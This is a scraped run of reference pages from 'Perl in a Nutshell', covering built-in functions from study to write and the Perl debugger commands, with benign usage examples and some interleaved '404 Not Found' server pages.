Previous: Reference: srand | Perl in a Nutshell | Next: Reference: study
Reference: srand | Book Index | Reference: study


Reference: study

Perl in a Nutshell

Perl in a NutshellSearch this book

study

study scalar

This function takes extra time to study scalar ($_ if unspecified) in anticipation of doing many pattern matches on the string before it is next modified. You may have only one study active at a time - if you study a different scalar, the first is "unstudied."

Previous: Reference: stat | Perl in a Nutshell | Next: Reference: sub
Reference: stat | Book Index | Reference: sub


Reference: sub

Perl in a Nutshell

Perl in a NutshellSearch this book

sub

sub name [proto] {block}
sub [proto] name

Declares and defines a subroutine. name is the name given to the subroutine; block is the code to be executed when the subroutine is called. Without block, this statement only declares a subroutine, which must be defined at some later point in your program. proto is a sequence of symbols that places constraints on the arguments that the subroutine will receive. See Section 4.7, "Subroutines" in Chapter 4.

Previous: Reference: study | Perl in a Nutshell | Next: Reference: substr
Reference: study | Book Index | Reference: substr


Reference: substr

Perl in a Nutshell

Perl in a NutshellSearch this book

substr

substr string, pos, [n, replacement]

Extracts and returns a substring n characters long, starting at character position pos, from a given string. If pos is negative, the substring starts that far from the end of the string instead. If n is omitted, everything to the end of the string is returned. If n is negative, the length is calculated to leave that many characters off the end of the string.

You can use substr() as an lvalue - replacing the delimited substring with a new string - if string is given as an lvalue. You can also specify a replacement string in the fourth parameter to replace the substring. The original extracted substring is still returned.

Previous: Reference: sub | Perl in a Nutshell | Next: Reference: symlink
Reference: sub | Book Index | Reference: symlink


Reference: symlink

Perl in a Nutshell

Perl in a NutshellSearch this book

symlink

symlink oldfile, newfile

Creates a new filename symbolically linked to the old filename. The function returns 1 for success, 0 otherwise. On systems that don't support symbolic links, it produces a fatal error at runtime. Be careful if you supply a relative symbolic link, since itll be interpreted relative to the location of the symbolic link itself, not your current working directory. See also link and readlink.

Previous: Reference: substr | Perl in a Nutshell | Next: Reference: syscall
Reference: substr | Book Index | Reference: syscall


Reference: syscall

Perl in a Nutshell

Perl in a NutshellSearch this book

syscall

syscall list

Calls the system call specified as the first element of the list, passing the remaining elements as arguments to the system call. The function produces a fatal error if syscall(2) is unimplemented. The arguments are interpreted as follows: if a given argument is numeric, the argument is passed as a C integer. If not, a pointer to the string value is passed.

Previous: Reference: symlink | Perl in a Nutshell | Next: Reference: sysopen
Reference: symlink | Book Index | Reference: sysopen


Reference: sysopen

Perl in a Nutshell

Perl in a NutshellSearch this book

sysopen

sysopen filehandle, filename, mode, [perms]

Opens the file given by filename and associates it with filehandle. This function calls open(2) with the parameters filename, mode, and perms.

The possible values and flag bits of the mode parameter are system-dependent; they are available via the Fcntl library module. However, for historical reasons, some values are universal: zero means read-only, one means write-only, and two means read/write.

If the file named by filename does not exist, and sysopen creates it (typically because mode includes the O_CREAT flag), then the value of perms specifies the permissions of the newly created file. If perms is omitted, the default value is 0666, which allows read and write for all. This default is reasonable: see umask.

The FileHandle module provides a more object-oriented approach to sysopen. See also open.

Previous: Reference: syscall | Perl in a Nutshell | Next: Reference: sysread
Reference: syscall | Book Index | Reference: sysread


Reference: sysread

Perl in a Nutshell

Perl in a NutshellSearch this book

sysread

sysread filehandle, scalar, length, [offset]

Reads length bytes of data into variable scalar from the specified filehandle. The function returns the number of bytes actually read, or 0 at EOF. It returns the undefined value on error. scalar will grow or shrink to the length actually read. The offset, if specified, says where in the string to start putting the bytes, so that you can read into the middle of a string that's being used as a buffer. You should be prepared to handle the problems (like interrupted system calls) that standard I/O normally handles for you.

Previous: Reference: sysopen | Perl in a Nutshell | Next: Reference: sysseek
Reference: sysopen | Book Index | Reference: sysseek


Reference: sysseek

Perl in a Nutshell

Perl in a NutshellSearch this book

sysseek

sysseek filehandle, offset, whence

A variant of seek() that sets and gets the file's system read/write position using the lseek(2) system call. It's the only reliable way to seek before a sysread() or syswrite(). Returns the new position, or undef on failure. Arguments are the same as for seek.

Previous: Reference: sysread | Perl in a Nutshell | Next: Reference: system
Reference: sysread | Book Index | Reference: system


Reference: system

Perl in a Nutshell

Perl in a NutshellSearch this book

system

system list

Executes any program on the system for you. It does exactly the same thing as exec list except that it does a fork first, and then, after the exec, it waits for the execed program to complete. That is, it runs the program for you, and returns when it's done, unlike exec, which never returns (if it succeeds). Note that argument processing varies depending on the number of arguments, as described for exec. The return value is the exit status of the program as returned by the wait(2) call. To get the actual exit value, divide by 256. (The lower eight bits are set if the process died from a signal.) See exec.

Previous: Reference: sysseek | Perl in a Nutshell | Next: Reference: syswrite
Reference: sysseek | Book Index | Reference: syswrite


Reference: syswrite

Perl in a Nutshell

Perl in a NutshellSearch this book

syswrite

syswrite filehandle, scalar, length, [offset]

Writes length bytes of data from variable scalar to the specified filehandle. The function returns the number of bytes actually written, or the undefined value on error. You should be prepared to handle the problems that standard I/O normally handles for you, such as partial writes. The offset, if specified, says where in the string to start writing from, in case you're using the string as a buffer, for instance, or you need to recover from a partial write.

Do not mix calls to print (or write) and syswrite on the same filehandle unless you really know what you're doing.

Previous: Reference: system | Perl in a Nutshell | Next: Reference: tell
Reference: system | Book Index | Reference: tell


Reference: tell

Perl in a Nutshell

Perl in a NutshellSearch this book

tell

tell filehandle

Returns the current file position (in bytes, 0-based) for filehandle. This value is typically fed to the seek function at some future time to get back to the current position. If filehandle is omitted, the function returns the position of the file last read. File positions are only meaningful on regular files. Devices, pipes, and sockets have no file position.

Previous: Reference: syswrite | Perl in a Nutshell | Next: Reference: telldir
Reference: syswrite | Book Index | Reference: telldir


Reference: telldir

Perl in a Nutshell

Perl in a NutshellSearch this book

telldir

telldir dirhandle

Returns the current position of the readdir routines on a directory handle (dirhandle). This value may be given to seekdir to access a particular location in a directory. The function has the same caveats about possible directory compaction as the corresponding system library routine. This function may not be implemented everywhere that readdir is. Even if it is, no calculation may be done with the return value. It's just an opaque value, meaningful only to seekdir.

Previous: Reference: tell | Perl in a Nutshell | Next: Reference: tie
Reference: tell | Book Index | Reference: tie


Reference: tie

Perl in a Nutshell

Perl in a NutshellSearch this book

tie

tie variable, classname, list

Binds a variable to a package class, classname, that will provide the implementation for the variable. Any additional arguments (list) are passed to the "new" method of the class (meaning TIESCALAR, TIEARRAY, or TIEHASH). Typically these are arguments such as might be passed to the dbm_open(3) function of C, but this is package-dependent. The object returned by the "new" method is also returned by the tie function, which can be useful if you want to access other methods in classname. (The object can also be accessed through the tied function.)

A class implementing a hash should provide the following methods:

TIEHASH $class, LIST
DESTROY $self
FETCH $self, $key
STORE $self, $key, $value
DELETE $self, $key
EXISTS $self, $key
FIRSTKEY $self
NEXTKEY $self, $lastkey
A class implementing an ordinary array should provide the following methods:
TIEARRAY $classname, LIST
DESTROY $self
FETCH $self, $subscript
STORE $self, $subscript, $value
A class implementing a scalar should provide the following methods:
TIESCALAR $classname, LIST
DESTROY $self
FETCH $self,
STORE $self, $value
Unlike dbmopen, the tie function will not use or require a module for you - you need to do that explicitly yourself.

Previous: Reference: telldir | Perl in a Nutshell | Next: Reference: tied
Reference: telldir | Book Index | Reference: tied


Reference: tied

Perl in a Nutshell

Perl in a NutshellSearch this book

tied

tied variable

Returns a reference to the object underlying variable (the same value that was originally returned by the tie call which bound the variable to a package). It returns the undefined value if variable isn't tied to a package. So, for example, you can use:

ref tied %hash
to find out which package your hash is currently tied to.

Previous: Reference: tie | Perl in a Nutshell | Next: Reference: time
Reference: tie | Book Index | Reference: time


Reference: time

Perl in a Nutshell

Perl in a NutshellSearch this book

time

time

Returns the number of non-leap seconds since January 1, 1970, UTC. The returned value is suitable for feeding to gmtime and localtime, and for comparison with file modification and access times returned by stat, and for feeding to utime.

Previous: Reference: tied | Perl in a Nutshell | Next: Reference: times
Reference: tied | Book Index | Reference: times


Reference: times

Perl in a Nutshell

Perl in a NutshellSearch this book

times

times

Returns a four-element list giving the user and system CPU times, in seconds (possibly fractional), for this process and for the children of this process:

($user, $system, $cuser, $csystem) = times;
For example, to time the execution speed of a section of Perl code:
$start = (times)[0];
...
$end = (times)[0];
printf "that took %.2f CPU seconds\n", $end - $start;

Previous: Reference: time | Perl in a Nutshell | Next: Reference: truncate
Reference: time | Book Index | Reference: truncate


Reference: truncate

Perl in a Nutshell

Perl in a NutshellSearch this book

truncate

truncate file, length

Truncates a file (given as a filehandle or by name) to the specified length. The function produces a fatal error if truncate(2) or an equivalent isn't implemented on your system.

Previous: Reference: times | Perl in a Nutshell | Next: Reference: uc
Reference: times | Book Index | Reference: uc


Reference: uc

Perl in a Nutshell

Perl in a NutshellSearch this book

uc

uc string

Returns an uppercased version of string (or $_ if string is omitted). This is the internal function implementing the \U escape in double-quoted strings. POSIX setlocale(3) settings are respected.

Previous: Reference: truncate | Perl in a Nutshell | Next: Reference: ucfirst
Reference: truncate | Book Index | Reference: ucfirst


Reference: ucfirst

Perl in a Nutshell

Perl in a NutshellSearch this book

ucfirst

ucfirst string

Returns a version of string (or $_ if string is omitted) with the first character uppercased. This is the internal function that implements the \u escape in double-quoted strings. POSIX setlocale(3) settings are respected.

Previous: Reference: uc | Perl in a Nutshell | Next: Reference: umask
Reference: uc | Book Index | Reference: umask


Reference: umask

Perl in a Nutshell

Perl in a NutshellSearch this book

umask

umask expr

Sets the umask for the process to expr and returns the old one. (The umask tells Unix which permission bits to disallow when creating a file.) If expr is omitted, the function merely returns the current umask. For example, to ensure that the "other" bits are turned on and that the "user" bits are turned off, try something like:

umask((umask() & 077) | 7);

Previous: Reference: ucfirst | Perl in a Nutshell | Next: Reference: undef
Reference: ucfirst | Book Index | Reference: undef


Reference: undef

Perl in a Nutshell

Perl in a NutshellSearch this book

undef

undef expr

Undefines the value of expr, which must be an lvalue. Use only on a scalar value, an entire array or hash, or a subroutine name (using the & prefix). Any storage associated with the object will be recovered for reuse (though not returned to the system, for most versions of Unix). The undef function will probably not do what you expect on most special variables. The function always returns the undefined value. This is useful because you can omit the expr, in which case nothing gets undefined, but you still get an undefined value that you could, for instance, return from a subroutine to indicate an error.

You may use undef as a placeholder on the left side of a list assignment, in which case the corresponding value from the right side is simply discarded. Apart from that, you may not use undef as an lvalue.

Previous: Reference: umask | Perl in a Nutshell | Next: Reference: unlink
Reference: umask | Book Index | Reference: unlink


Reference: unlink

Perl in a Nutshell

Perl in a NutshellSearch this book

unlink

unlink list

Deletes a list of files. (Under Unix, it will remove a link to a file, but the file may still exist if another link references it.) If list is omitted, it unlinks the file given in $_. The function returns the number of files successfully deleted. Note that unlink will not delete directories unless you are the superuser and the -U flag is supplied to Perl. Even if these conditions are met, be warned that unlinking a directory can inflict serious damage on your filesystem. Use rmdir instead.

Previous: Reference: undef | Perl in a Nutshell | Next: Reference: unpack
Reference: undef | Book Index | Reference: unpack


Reference: unpack

Perl in a Nutshell

Perl in a NutshellSearch this book

unpack

unpack template, string

Takes a string (string) representing a data structure and expands it into a list value, returning the list value. (unpack does the reverse of pack.) In a scalar context, it can be used to unpack a single value. The template has much the same format as in the pack function - it specifies the order and type of the values to be unpacked. (See pack for a more detailed description of template.)

Previous: Reference: unlink | Perl in a Nutshell | Next: Reference: unshift
Reference: unlink | Book Index | Reference: unshift


Reference: unshift

Perl in a Nutshell

Perl in a NutshellSearch this book

unshift

unshift @array, list

Prepends the elements of list to the front of the array, and returns the new number of elements in the array.

Previous: Reference: unpack | Perl in a Nutshell | Next: Reference: untie
Reference: unpack | Book Index | Reference: untie


Reference: untie

Perl in a Nutshell

Perl in a NutshellSearch this book

untie

untie variable

Breaks the binding between a variable and a package. See tie.

Previous: Reference: unshift | Perl in a Nutshell | Next: Reference: use
Reference: unshift | Book Index | Reference: use


Reference: use

Perl in a Nutshell

Perl in a NutshellSearch this book

use

use Module list
use version
use Module version list

If the first argument is a number, it is treated as a version number. If the version of Perl is less than version, an error message is printed and Perl exits. This provides a way to check the Perl version at compilation time, instead of waiting for runtime.

If version appears between Module and list, then use calls the version method in class Module with version as an argument.

Otherwise, use imports some semantics into the current package from the named Module, generally by aliasing certain subroutine or variable names into your package. It is exactly equivalent to the following:

BEGIN { require Module; import Module list; }
The BEGIN forces the require and import to happen at compile time. The require makes sure that the module is loaded into memory if it hasn't been yet. The import is not a built-in function - it's just an ordinary static method call into the package named by Module to tell the module to import the list of features back into the current package. The module can implement its import method any way it likes, though most modules just choose to derive their import method via inheritance from the Exporter class that is defined in the Exporter module.

If you don't want your namespace altered, explicitly supply an empty list:

use Module ();
That is exactly equivalent to the following:
BEGIN { require Module; }
Because this is a wide-open interface, pragmas (compiler directives) are also implemented this way. See Chapter 8 for descriptions of the currently implemented pragmas. These pseudomodules typically import semantics into the current block scope, unlike ordinary modules, which import symbols into the current package. (The latter are effective through the end of the file.)

There's a corresponding declaration, no, that "unimports" any meanings originally imported by use, but that have since become less important:

no integer;
no strict 'refs';

Previous: Reference: untie | Perl in a Nutshell | Next: Reference: utime
Reference: untie | Book Index | Reference: utime


Reference: utime

Perl in a Nutshell

Perl in a NutshellSearch this book

utime

utime atime, mtime, files

Changes the access time (atime) and modification time (mtime) on each file in a list of files. The first two elements must be the numerical access and modification times, in that order. The function returns the number of files successfully changed. The inode change time of each file is set to the current time. Here's an example of a utime command:

#!/usr/bin/perl
$now = time;
utime $now, $now, @ARGV;
To read the times from existing files, use stat.

Previous: Reference: use | Perl in a Nutshell | Next: Reference: values
Reference: use | Book Index | Reference: values


Reference: values

Perl in a Nutshell

Perl in a NutshellSearch this book

values

values %hash

Returns a list consisting of all the values of the named hash. The values are returned in an apparently random order, but it is the same order as either the keys or each function would produce on the same hash. To sort the hash by its values, see the example under keys. Note that using values on a hash that is bound to a very large DBM file is going to produce a very large list, causing you to have a very large process, and leaving you in a bind. You might prefer to use the each function, which will iterate over the hash entries one by one without reading them all into a single list.

Previous: Reference: utime | Perl in a Nutshell | Next: Reference: vec
Reference: utime | Book Index | Reference: vec


Reference: vec

Perl in a Nutshell

Perl in a NutshellSearch this book

vec

vec string, offset, bits

Treats a string as a vector of unsigned integers, and returns the value of the element specified by offset and bits. The function may also be assigned to, which causes the element to be modified. The purpose of the function is to provide very compact storage of lists of small integers. The integers may be very small - vectors can hold numbers that are as small as one bit, resulting in a bitstring.

The offset specifies how many elements to skip over to find the one you want. bits is the number of bits per element in the vector, so each element can contain an unsigned integer in the range 0..(2**bits)-1. bits must be one of 1, 2, 4, 8, 16, or 32. As many elements as possible are packed into each byte, and the ordering is such that vec($vectorstring,0,1) is guaranteed to go into the lowest bit of the first byte of the string. To find out the position of the byte in which an element is going to be put, you have to multiply the offset by the number of elements per byte. When bits is 1, there are eight elements per byte. When bits is 2, there are four elements per byte. When bits is 4, there are two elements (called nybbles) per byte. And so on.

Regardless of whether your system is big-endian or little-endian, vec($foo, 0, 8) always refers to the first byte of string $foo. See select for examples of bitmaps generated with vec.

Vectors created with vec can also be manipulated with the logical operators |, &, ^, and ~, which will assume a bit vector operation is desired when the operands are strings. A bit vector (bits == 1) can be translated to or from a string of 1s and 0s by supplying a b* template to unpack or pack. Similarly, a vector of nybbles (bits == 4) can be translated with an h* template.

Previous: Reference: values | Perl in a Nutshell | Next: Reference: wait
Reference: values | Book Index | Reference: wait


Reference: wait

Perl in a Nutshell

Perl in a NutshellSearch this book

wait

wait

Waits for a child process to terminate and returns the pid of the deceased process, or -1 if there are no child processes. The status is returned in $?. If you get zombie child processes, you should be calling either this function or waitpid. A common strategy to avoid such zombies is:

$SIG{CHLD} = sub { wait };
If you expected a child and didn't find it, you probably had a call to system, a close on a pipe, or backticks between the fork and the wait. These constructs also do a wait(2) and may have harvested your child process. Use waitpid to avoid this problem.

Previous: Reference: vec | Perl in a Nutshell | Next: Reference: waitpid
Reference: vec | Book Index | Reference: waitpid


Reference: waitpid

Perl in a Nutshell

Perl in a NutshellSearch this book

waitpid

waitpid pid, flags

Waits for a particular child process pid to terminate and returns the pid when the process is dead, or -1 if there are no child processes or if the flags specify non-blocking and the process isn't dead yet. The status of the dead process is returned in $?. To get valid flag values say this:

use POSIX "sys_wait_h";
On systems that implement neither the waitpid(2) nor the wait4(2) system call, flags may be specified only as 0. In other words, you can wait for a specific pid, but you can't do it in non-blocking mode.

Previous: Reference: wait | Perl in a Nutshell | Next: Reference: wantarray
Reference: wait | Book Index | Reference: wantarray


Reference: wantarray

Perl in a Nutshell

Perl in a NutshellSearch this book

wantarray

wantarray

Returns true if the context of the currently executing subroutine is looking for a list value. The function returns false if the context is looking for a scalar. May also return undef if a subroutine's return value is not going to be used at all.

Previous: Reference: waitpid | Perl in a Nutshell | Next: Reference: warn
Reference: waitpid | Book Index | Reference: warn


Reference: warn

Perl in a Nutshell

Perl in a NutshellSearch this book

warn

warn msg

Produces a message on STDERR just like die, but doesn't try to exit or throw an exception. For example:

warn "Debug enabled" if $debug;
If the message supplied is null, the message "Something's wrong"is used. As with die, a message not ending with a newline will have file and line number information automatically appended. The warn operator is unrelated to the -w switch.

Previous: Reference: wantarray | Perl in a Nutshell | Next: Reference: write
Reference: wantarray | Book Index | Reference: write


Reference: write

Perl in a Nutshell

Perl in a NutshellSearch this book

write

write filehandle

Writes a formatted record (possibly multiline) to the specified filehandle, using the format associated with that filehandle - see Section 4.10 in Chapter 4. By default, the format for a filehandle is the one having the same name as the filehandle.

If filehandle is unspecified, output goes to the current default output filehandle, which starts out as STDOUT but may be changed by the select operator. If the filehandle is an expression, then the expression is evaluated to determine the actual filehandle at runtime.

Note that write is not the opposite of read. Use print for simple string output. If you want to bypass standard I/O, see syswrite.

Previous: Reference: warn | Perl in a Nutshell | Next: 5. Function Reference
Reference: warn | Book Index | 5. Function Reference


Reference: a

Perl in a Nutshell

Perl in a NutshellSearch this book

a

a [line] command

Sets an action to be done before the line is executed. The following steps are taken:

  • Checks for a breakpoint at this line.

  • Prints the line if necessary.

  • Performs any actions associated with the line.

  • Prompts the user if at a breakpoint or in single-step mode.

  • Evaluates the line.

For example, the following prints the value of $foo (and "DB FOUND") every time line 53 is passed:

a 53 print "DB FOUND $foo\n"

Previous: 6.2 Debugger Commands | Perl in a Nutshell | Next: Reference: A
6.2 Debugger Commands | Book Index | Reference: A


Reference: A

Perl in a Nutshell

Perl in a NutshellSearch this book

A

A

Deletes all installed actions.

Previous: Reference: a | Perl in a Nutshell | Next: Reference: b
Reference: a | Book Index | Reference: b


Reference: b

Perl in a Nutshell

Perl in a NutshellSearch this book

b

b [line] [condition]

Sets a breakpoint at line, which must begin an executable statement. If line is omitted, sets a breakpoint on the line that is about to be executed. condition, if given, is evaluated each time the statement is reached, and a breakpoint is taken if condition is true:

b 237 $x > 30
b 33 /pattern/i

Previous: Reference: A | Perl in a Nutshell | Next: Reference: b
Reference: A | Book Index | Reference: b


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c06_004.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c06_005.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c06_006.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c06_007.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: c

Perl in a Nutshell

Perl in a NutshellSearch this book

c

c [line | sub]

Continues, optionally inserting a one-time-only breakpoint at the specified line or subroutine.

Previous: Reference: b | Perl in a Nutshell | Next: Reference: d
Reference: b | Book Index | Reference: d


Reference: d

Perl in a Nutshell

Perl in a NutshellSearch this book

d

d [line]

Deletes the breakpoint at the specified line. If line is omitted, deletes the breakpoint on the line that is about to be executed.

Previous: Reference: c | Perl in a Nutshell | Next: Reference: D
Reference: c | Book Index | Reference: D


Reference: D

Perl in a Nutshell

Perl in a NutshellSearch this book

D

D

Deletes all installed breakpoints.

Previous: Reference: d | Perl in a Nutshell | Next: Reference: f
Reference: d | Book Index | Reference: f


Reference: f

Perl in a Nutshell

Perl in a NutshellSearch this book

f

f filename

Switches to viewing a different file.

Previous: Reference: D | Perl in a Nutshell | Next: Reference: h
Reference: D | Book Index | Reference: h


Reference: h

Perl in a Nutshell

Perl in a NutshellSearch this book

h

h [command]

Prints a help message, listing the available debugger commands.

If you supply another debugger command as an argument to the h command, it prints out the description for just that command. The command h h produces a more compact help listing designed to fit on one screen.

Previous: Reference: f | Perl in a Nutshell | Next: Reference: H
Reference: f | Book Index | Reference: H


Reference: H

Perl in a Nutshell

Perl in a NutshellSearch this book

H

H [-number]

Displays last number commands. If number is omitted, it lists all previous commands. Only commands longer than one character are listed.

Previous: Reference: h | Perl in a Nutshell | Next: Reference: l
Reference: h | Book Index | Reference: l


Reference: l

Perl in a Nutshell

Perl in a NutshellSearch this book

l

l [linespec]

If linespec is omitted, lists the next few lines. Otherwise lists the lines specified by linespec, which can be one of the following:

line

Lists the single line line.

min+incr

Lists incr+1 lines starting at min.

min-max

Lists lines min through max.

subname

Lists the first few lines from subroutine subname.

Also see the w and - commands.

Previous: Reference: H | Perl in a Nutshell | Next: Reference: L
Reference: H | Book Index | Reference: L


Reference: L

Perl in a Nutshell

Perl in a NutshellSearch this book

L

L

Lists all breakpoints and actions for the current file.

Previous: Reference: l | Perl in a Nutshell | Next: Reference: m
Reference: l | Book Index | Reference: m


Reference: m

Perl in a Nutshell

Perl in a NutshellSearch this book

m

m expr

evals the expression in array context and prints methods callable on the first element of the result.

Previous: Reference: L | Perl in a Nutshell | Next: Reference: m
Reference: L | Book Index | Reference: m


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c06_017.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: n

Perl in a Nutshell

Perl in a NutshellSearch this book

n

n

Next. Passes over subroutine calls and executes the next statement at this level.

Previous: Reference: m | Perl in a Nutshell | Next: Reference: O
Reference: m | Book Index | Reference: O


Reference: O

Perl in a Nutshell

Perl in a NutshellSearch this book

O

O [opt[="val"]] [opt`val'] [opt?]

Sets or queries option values. If omitted, val defaults to 1. opt? displays the value of option opt. opt can be abbreviated to the shortest unique string, and multiple options can be specified. The possible options are:

AutoTrace

Affects printing of messages at every possible breaking point.

frame

Enables printing of messages on entry and exit from subroutines.

inhibit_exit

Enables stepping off the end of the script.

maxTraceLen

Gives the maximum length of evals/args listed in the stack trace.

ornaments

Affects the appearance of the command line on the screen.

pager

Specifies the program to use for output of pager-piped commands (those beginning with a | character). Default value is $ENV{PAGER}.

PrintRet

Enables printing of return value after r command.

recallCommand, ShellBang

Specifies the characters used to recall previous commands or spawn a shell. By default, these are both set to !.

The following options affect what happens with the V, X, and x commands:

arrayDepth, hashDepth

Prints only to depth n ("" for all).

compactDump, veryCompact

Changes style of array and hash dumps.

DumpDBFiles

Dumps arrays holding debugged files.

DumpPackages

Dumps symbol tables of packages.

globPrint

Specifies whether to print contents of globs.

quote, HighBit, undefPrint

Changes style of string dump.

signalLevel, warnLevel, dieLevel

Specifies level of verbosity.

tkRunning

Runs Tk while prompting (with ReadLine).

During startup, debugger options are initialized from $ENV{PERLDB_OPTS}. You can set the additional initialization options TTY, noTTY, ReadLine, and NonStop there. See Section 6.4, "Customizing the Debugger," later in this chapter, for more information.

Previous: Reference: n | Perl in a Nutshell | Next: Reference: p
Reference: n | Book Index | Reference: p


Reference: p

Perl in a Nutshell

Perl in a NutshellSearch this book

p

p expr

Same as print DB::OUT expr in the current package. In particular, does not dump nested data structures and objects, unlike the x command. The DB::OUT handle is opened to /dev/tty (or perhaps an editor window) no matter where standard output may have been redirected to.

Previous: Reference: O | Perl in a Nutshell | Next: Reference: q
Reference: O | Book Index | Reference: q


Reference: q

Perl in a Nutshell

Perl in a NutshellSearch this book

q

q or ^D

Quits the debugger.

Previous: Reference: p | Perl in a Nutshell | Next: Reference: r
Reference: p | Book Index | Reference: r


Reference: r

Perl in a Nutshell

Perl in a NutshellSearch this book

r

r

Returns from current subroutine.

Previous: Reference: q | Perl in a Nutshell | Next: Reference: R
Reference: q | Book Index | Reference: R


Reference: R

Perl in a Nutshell

Perl in a NutshellSearch this book

R

R

Restarts the debugger. As much as possible of your history is maintained across the sessions, but some internal settings and command-line options may be lost.

Previous: Reference: r | Perl in a Nutshell | Next: Reference: s
Reference: r | Book Index | Reference: s


Reference: s

Perl in a Nutshell

Perl in a NutshellSearch this book

s

s [expr]

Single steps. Executes until it reaches the beginning of another statement, descending into subroutine calls. If an expression is supplied that includes a function call, the function is also single-stepped.

Previous: Reference: R | Perl in a Nutshell | Next: Reference: S
Reference: R | Book Index | Reference: S


Reference: S

Perl in a Nutshell

Perl in a NutshellSearch this book

S

S [[!]pattern]

Lists subroutine names matching (or, if ! is specified, not matching) pattern. If pattern is omitted, lists all subroutines.

Previous: Reference: s | Perl in a Nutshell | Next: Reference: t
Reference: s | Book Index | Reference: t


Reference: t

Perl in a Nutshell

Perl in a NutshellSearch this book

t

t

Toggles trace mode.

Previous: Reference: S | Perl in a Nutshell | Next: Reference: t
Reference: S | Book Index | Reference: t


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c06_027.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: T

Perl in a Nutshell

Perl in a NutshellSearch this book

T

T

Produces a stack backtrace. For example:

DB<2> T
$ = main::infested called from file 'Ambulation.pm' line 10
@ = Ambulation::legs(1, 2, 3, 4) called from file 'camel_flea' line 7
$ = main::pests('bactrian', 4) called from file 'camel_flea' line 4
The left-hand character ($ or @) tells whether the function was called in a scalar or list context. The example shows three lines because it was three functions deep when the stack backtrace ran.

Previous: Reference: t | Perl in a Nutshell | Next: Reference: v
Reference: t | Book Index | Reference: v


Reference: v

Perl in a Nutshell

Perl in a NutshellSearch this book

v

v

Shows versions of loaded modules.

Previous: Reference: T | Perl in a Nutshell | Next: Reference: V
Reference: T | Book Index | Reference: V


Reference: V

Perl in a Nutshell

Perl in a NutshellSearch this book

V

V [pkg [vars]]

Displays all (or some) variables in package pkg using a data pretty-printer (which displays keys and their values for hashes, makes control characters printable, prints nested data structures in a legible fashion, and so on). pkg defaults to the main package. Make sure you enter the identifiers without a type specifier such as $ or @, like this:

V DB filename line
In place of a variable name, you can use ~pattern or !pattern to print existing variables whose names either match or don't match the specified regular expression.

Previous: Reference: v | Perl in a Nutshell | Next: Reference: w
Reference: v | Book Index | Reference: w


Reference: w

Perl in a Nutshell

Perl in a NutshellSearch this book

w

w [line]

Lists a window of a few lines around the given line, or lists the current line if line is omitted.

Previous: Reference: V | Perl in a Nutshell | Next: Reference: x
Reference: V | Book Index | Reference: x


Reference: x

Perl in a Nutshell

Perl in a NutshellSearch this book

x

x expr

evals the expression in a list context and dumps out the result in a pretty-printed fashion. Unlike the print command above, prints nested data structures recursively.

Previous: Reference: w | Perl in a Nutshell | Next: Reference: X
Reference: w | Book Index | Reference: X


Reference: X

Perl in a Nutshell

Perl in a NutshellSearch this book

X

X [vars]

Same as V currentpackage [vars].

Previous: Reference: x | Perl in a Nutshell | Next: Reference: <CR>
Reference: x | Book Index | Reference: <CR>


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c06_034.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: -

Perl in a Nutshell

Perl in a NutshellSearch this book

-

-

Lists the previous few lines.

Previous: Reference: <CR> | Perl in a Nutshell | Next: Reference: .
Reference: <CR> | Book Index | Reference: .


Reference: .

Perl in a Nutshell

Perl in a NutshellSearch this book

.

.

Returns debugger pointer to the last-executed line and prints it out.

Previous: Reference: - | Perl in a Nutshell |
Reference: - | Book Index | Reference: /pattern/


Reference: /pattern/

Perl in a Nutshell

Perl in a NutshellSearch this book

/pattern/

/pattern/

Searches forward for pattern; final / is optional.

Previous: Reference: . | Perl in a Nutshell | Next: Reference: ?pattern?
Reference: . | Book Index | Reference: ?pattern?


Reference: ?pattern?

Perl in a Nutshell

Perl in a NutshellSearch this book

?pattern?

?pattern?

Searches backward for pattern; final ? is optional.

 | Perl in a Nutshell | Next: Reference: <
Reference: /pattern/ | Book Index | Reference: <


Reference: <

Perl in a Nutshell

Perl in a NutshellSearch this book

<

< [command]

Sets a Perl command to run before every debugger prompt. A multiline command may be entered by backslashing the newlines. With no command, the list of actions is reset.

Previous: Reference: ?pattern? | Perl in a Nutshell | Next: Reference: <<
Reference: ?pattern? | Book Index | Reference: <<


Reference: <<

Perl in a Nutshell

Perl in a NutshellSearch this book

<<

<< [command]

Adds to the list of Perl commands to run before each debugger prompt.

Previous: Reference: < | Perl in a Nutshell | Next: Reference: >
Reference: < | Book Index | Reference: >


Reference: >

Perl in a Nutshell

Perl in a NutshellSearch this book

>

> [command]

Sets a Perl command to run after the prompt when you've just given a command to return to executing the script. A multiline command may be entered by backslashing the newlines.

Previous: Reference: << | Perl in a Nutshell | Next: Reference: >>
Reference: << | Book Index | Reference: >>


Reference: >>

Perl in a Nutshell

Perl in a NutshellSearch this book

>>

>> [command]

Adds to the list of Perl commands to run after each debugger prompt.

Previous: Reference: > | Perl in a Nutshell | Next: Reference: {
Reference: > | Book Index | Reference: {


Reference: {

Perl in a Nutshell

Perl in a NutshellSearch this book

{

{ [commandline]

Sets a debugger command to run before each prompt.

Previous: Reference: >> | Perl in a Nutshell | Next: Reference: {{
Reference: >> | Book Index | Reference: {{


Reference: {{

Perl in a Nutshell

Perl in a NutshellSearch this book

{{

{{ [commandline]

Adds to the list of debugger commands to run before each prompt.

Previous: Reference: { | Perl in a Nutshell | Next: Reference: !
Reference: { | Book Index | Reference: !


Reference: !

Perl in a Nutshell

Perl in a NutshellSearch this book

!

! [number]

Reruns a previous command (defaults to the last command executed).

Previous: Reference: {{ | Perl in a Nutshell | Next: Reference: !
Reference: {{ | Book Index | Reference: !


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c06_046.htm was not found on this server.

